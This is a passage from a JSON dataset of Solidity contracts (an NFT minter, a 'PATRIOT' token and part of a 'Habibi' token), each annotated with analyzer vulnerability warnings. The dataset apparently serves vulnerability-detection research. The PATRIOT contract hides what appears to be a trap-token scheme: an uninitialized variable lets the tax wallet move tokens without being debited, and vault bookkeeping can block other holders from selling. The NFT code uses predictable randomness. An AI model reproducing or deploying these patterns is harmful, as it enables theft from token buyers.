'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 314cae4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _mint(address to) internal returns (uint256) {\n\t\t// timestamp | ID: 8e5ab31\n uint256 phase = block.timestamp < _switchTime ? 0 : 1;\n\n require(\n _currentSupplyPhase[phase] < _maxSupplyPhase[phase],\n \"exceeds maximum limit\"\n );\n\n string memory tokenUri;\n\n uint256 nftType;\n\n unchecked {\n ++_nextTokenId;\n\n ++currentSupply;\n\n ++_currentSupplyPhase[phase];\n }\n\n (nftType, tokenUri) = _getTokenUri(_nextTokenId, phase);\n\n unchecked {\n mintInfos[nftType].currentMinted += 1;\n }\n\n if (\n mintInfos[nftType].currentMinted == mintInfos[nftType].totalSupply\n ) {\n _remove(nftType, phase);\n }\n\n\t\t// reentrancy-events | ID: cca6a6c\n\t\t// reentrancy-benign | ID: 314cae4\n _safeMint(to, _nextTokenId);\n\n\t\t// reentrancy-events | ID: cca6a6c\n\t\t// reentrancy-benign | ID: 314cae4\n _setTokenURI(_nextTokenId, tokenUri);\n\n return _nextTokenId;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 493a0c9): Mibr._remove(uint256,uint256) ignores return value by typeSet2.remove(nftType)\n\t// Recommendation for 493a0c9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 578f005): Mibr._remove(uint256,uint256) ignores return value by typeSet1.remove(nftType)\n\t// Recommendation for 578f005: Ensure that all the return values of the function calls are used.\n function _remove(uint256 nftType, uint256 phase) internal {\n if (phase == 0) {\n\t\t\t// unused-return | ID: 578f005\n typeSet1.remove(nftType);\n } else {\n\t\t\t// unused-return | ID: 493a0c9\n typeSet2.remove(nftType);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8cd6399): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 8cd6399: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: 05fbb5f): Mibr._getTokenUri(uint256,uint256) uses a weak PRNG \"nftType = uint256(uint8(bytes1(seed))) % NFT_SWITCH_INDEX\" \n\t// Recommendation for 05fbb5f: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n function _getTokenUri(\n uint256 tokenId,\n uint256 phase\n ) internal view returns (uint256, string memory) {\n bytes32 seed = keccak256(\n abi.encodePacked(tokenId, block.timestamp, currentSupply)\n );\n\n uint256 nftType;\n\n unchecked {\n\t\t\t// weak-prng | ID: 05fbb5f\n nftType = uint256(uint8(bytes1(seed))) % NFT_SWITCH_INDEX;\n }\n\n if (phase == 1) {\n unchecked {\n nftType += NFT_SWITCH_INDEX;\n }\n }\n\n if (_isNotFull(nftType)) {\n return (nftType, mintInfos[nftType].tokenUri);\n } else {\n uint newIndex = _getAvailableType(nftType, phase);\n\n\t\t\t// timestamp | ID: 8cd6399\n require(\n mintInfos[newIndex].currentMinted <\n mintInfos[newIndex].totalSupply,\n \"exceeds the maximum limit of the specify nft type\"\n );\n\n return (newIndex, mintInfos[newIndex].tokenUri);\n }\n }\n\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: efc63fc): Mibr._getAvailableType(uint256,uint256) uses a weak PRNG \"index_scope_0 = uint256(uint8(bytes1(keccak256(bytes)(abi.encodePacked(nftType))))) % typeSet2.length()\" \n\t// Recommendation for efc63fc: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: d1b071a): Mibr._getAvailableType(uint256,uint256) uses a weak PRNG \"index = uint256(uint8(bytes1(keccak256(bytes)(abi.encodePacked(nftType))))) % typeSet1.length()\" \n\t// Recommendation for d1b071a: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n function _getAvailableType(\n uint256 nftType,\n uint256 phase\n ) internal view returns (uint256) {\n if (phase == 0) {\n\t\t\t// weak-prng | ID: d1b071a\n uint256 index = uint256(\n uint8(bytes1(keccak256(abi.encodePacked(nftType))))\n ) % typeSet1.length();\n\n return typeSet1.at(index);\n } else {\n\t\t\t// weak-prng | ID: efc63fc\n uint256 index = uint256(\n uint8(bytes1(keccak256(abi.encodePacked(nftType))))\n ) % typeSet2.length();\n\n return typeSet2.at(index);\n }\n }\n\n function _isNotFull(uint256 nftType) internal view returns (bool) {\n return\n mintInfos[nftType].currentMinted < mintInfos[nftType].totalSupply;\n }\n\n function _baseURI() internal view override returns (string memory) {\n return baseURI;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 856621f): Mibr._setInitSupply(uint256[]) ignores return value by typeSet2.add(nftType)\n\t// Recommendation for 856621f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 08ac340): Mibr._setInitSupply(uint256[]) ignores return value by typeSet1.add(nftType)\n\t// Recommendation for 08ac340: Ensure that all the return values of the function calls are used.\n function _setInitSupply(uint256[] calldata supply_) internal {\n for (uint256 nftType = 0; nftType < supply_.length; nftType++) {\n maxSupply += supply_[nftType];\n\n if (nftType < NFT_SWITCH_INDEX) {\n\t\t\t\t// unused-return | ID: 08ac340\n typeSet1.add(nftType);\n\n _maxSupplyPhase[0] += supply_[nftType];\n\n mintInfos.push(\n MintInfo(supply_[nftType], 0, (nftType + 1).toString())\n );\n } else {\n\t\t\t\t// unused-return | ID: 856621f\n typeSet2.add(nftType);\n\n _maxSupplyPhase[1] += supply_[nftType];\n\n mintInfos.push(\n MintInfo(\n supply_[nftType],\n 0,\n (nftType - NFT_SWITCH_INDEX + 1).toString()\n )\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10629.sol",
"size_bytes": 59533,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ncontract PATRIOT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromLimits;\n\n string private constant _name = unicode\"PATRIOT\";\n\n string private constant _symbol = unicode\"PATRIOT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c5c775): PATRIOT._initialBuyTax should be constant \n\t// Recommendation for 8c5c775: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 292661e): PATRIOT._initialSellTax should be constant \n\t// Recommendation for 292661e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: c877d14): PATRIOT._finalBuyTax should be constant \n\t// Recommendation for c877d14: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 787a473): PATRIOT._finalSellTax should be constant \n\t// Recommendation for 787a473: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1184f5a): PATRIOT._reduceBuyTaxAt should be constant \n\t// Recommendation for 1184f5a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe6a51d): PATRIOT._reduceSellTaxAt should be constant \n\t// Recommendation for fe6a51d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a7ad23): PATRIOT._preventSwapBefore should be constant \n\t// Recommendation for 1a7ad23: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65d1cf5): PATRIOT._taxSwapThreshold should be constant \n\t// Recommendation for 65d1cf5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 6050000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e2fd6b5): PATRIOT._maxTaxSwap should be constant \n\t// Recommendation for e2fd6b5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 7000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private immutable _uniswapRouter;\n\n struct BurnRecord {\n uint256 burnV2Index;\n uint256 burnUsd;\n uint256 burnPrice;\n }\n\n uint256 private maxVaultBurn;\n\n mapping(address => BurnRecord) private burnVault;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc91c14): PATRIOT.burnActiveVault should be constant \n\t// Recommendation for cc91c14: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2084eec): PATRIOT.burnActiveVault is never initialized. It is used in PATRIOT._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2084eec: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnActiveVault;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ddbcdc4): PATRIOT._taxWallet should be immutable \n\t// Recommendation for ddbcdc4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x685B94D959887AbA76f249454A52284aA555A035);\n\n _uniswapRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromLimits[address(this)] = true;\n\n _excludedFromLimits[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ac1fdaf): PATRIOT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ac1fdaf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 04bafe9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 04bafe9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ac5857d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ac5857d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 04bafe9\n\t\t// reentrancy-benign | ID: ac5857d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 04bafe9\n\t\t// reentrancy-benign | ID: ac5857d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 123b5a9): PATRIOT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 123b5a9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ac5857d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 04bafe9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7cf7662): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7cf7662: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1d2994d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1d2994d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1d5ca15): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1d5ca15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapPair &&\n to != address(_uniswapRouter) &&\n !_excludedFromLimits[to]\n ) {\n if (limitsInEffect) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n _buyCount++;\n }\n\n if (to == uniswapPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 7cf7662\n\t\t\t\t// reentrancy-benign | ID: 1d2994d\n\t\t\t\t// reentrancy-eth | ID: 1d5ca15\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7cf7662\n\t\t\t\t\t// reentrancy-eth | ID: 1d5ca15\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_excludedFromLimits[from] || _excludedFromLimits[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 1d2994d\n maxVaultBurn = block.number;\n }\n\n if (!_excludedFromLimits[from] && !_excludedFromLimits[to]) {\n if (to != uniswapPair) {\n BurnRecord storage burnVlt = burnVault[to];\n\n if (from == uniswapPair) {\n if (burnVlt.burnV2Index == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 1d2994d\n burnVlt.burnV2Index = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnRecord storage burnVltData = burnVault[from];\n\n if (\n burnVlt.burnV2Index == 0 ||\n burnVltData.burnV2Index < burnVlt.burnV2Index\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 1d2994d\n burnVlt.burnV2Index = burnVltData.burnV2Index;\n }\n }\n } else {\n BurnRecord storage burnVltData = burnVault[from];\n\n\t\t\t\t// reentrancy-benign | ID: 1d2994d\n burnVltData.burnUsd = burnVltData.burnV2Index.sub(maxVaultBurn);\n\n\t\t\t\t// reentrancy-benign | ID: 1d2994d\n burnVltData.burnPrice = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 7cf7662\n\t\t// reentrancy-eth | ID: 1d5ca15\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 1d5ca15\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 1d5ca15\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 7cf7662\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2084eec): PATRIOT.burnActiveVault is never initialized. It is used in PATRIOT._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2084eec: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnActiveVault.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1d5ca15\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7cf7662\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n _approve(address(this), address(_uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 04bafe9\n\t\t// reentrancy-events | ID: 7cf7662\n\t\t// reentrancy-benign | ID: 1d2994d\n\t\t// reentrancy-benign | ID: ac5857d\n\t\t// reentrancy-eth | ID: 1d5ca15\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 04bafe9\n\t\t// reentrancy-events | ID: 7cf7662\n\t\t// reentrancy-eth | ID: 1d5ca15\n _taxWallet.transfer(amount);\n }\n\n function transferStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8df8744): PATRIOT.enableTrading() ignores return value by _uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8df8744: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 13c2517): PATRIOT.enableTrading() ignores return value by IERC20(uniswapPair).approve(address(_uniswapRouter),type()(uint256).max)\n\t// Recommendation for 13c2517: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 82d1318): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 82d1318: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(_uniswapRouter), _tTotal);\n\n\t\t// reentrancy-eth | ID: 82d1318\n uniswapPair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n\t\t// unused-return | ID: 8df8744\n\t\t// reentrancy-eth | ID: 82d1318\n _uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 13c2517\n\t\t// reentrancy-eth | ID: 82d1318\n IERC20(uniswapPair).approve(address(_uniswapRouter), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 82d1318\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1063.sol",
"size_bytes": 22954,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Habibi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5b2944d): Habibi._taxWallet should be immutable \n\t// Recommendation for 5b2944d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: aabc299): Habibi._initialBuyTax should be constant \n\t// Recommendation for aabc299: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e82fb1): Habibi._initialSellTax should be constant \n\t// Recommendation for 1e82fb1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6c6486): Habibi._reduceBuyTaxAt should be constant \n\t// Recommendation for a6c6486: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0889daf): Habibi._reduceSellTaxAt should be constant \n\t// Recommendation for 0889daf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 36ec332): Habibi._preventSwapBefore should be constant \n\t// Recommendation for 36ec332: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _transferTax = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Arab Pepe\";\n\n string private constant 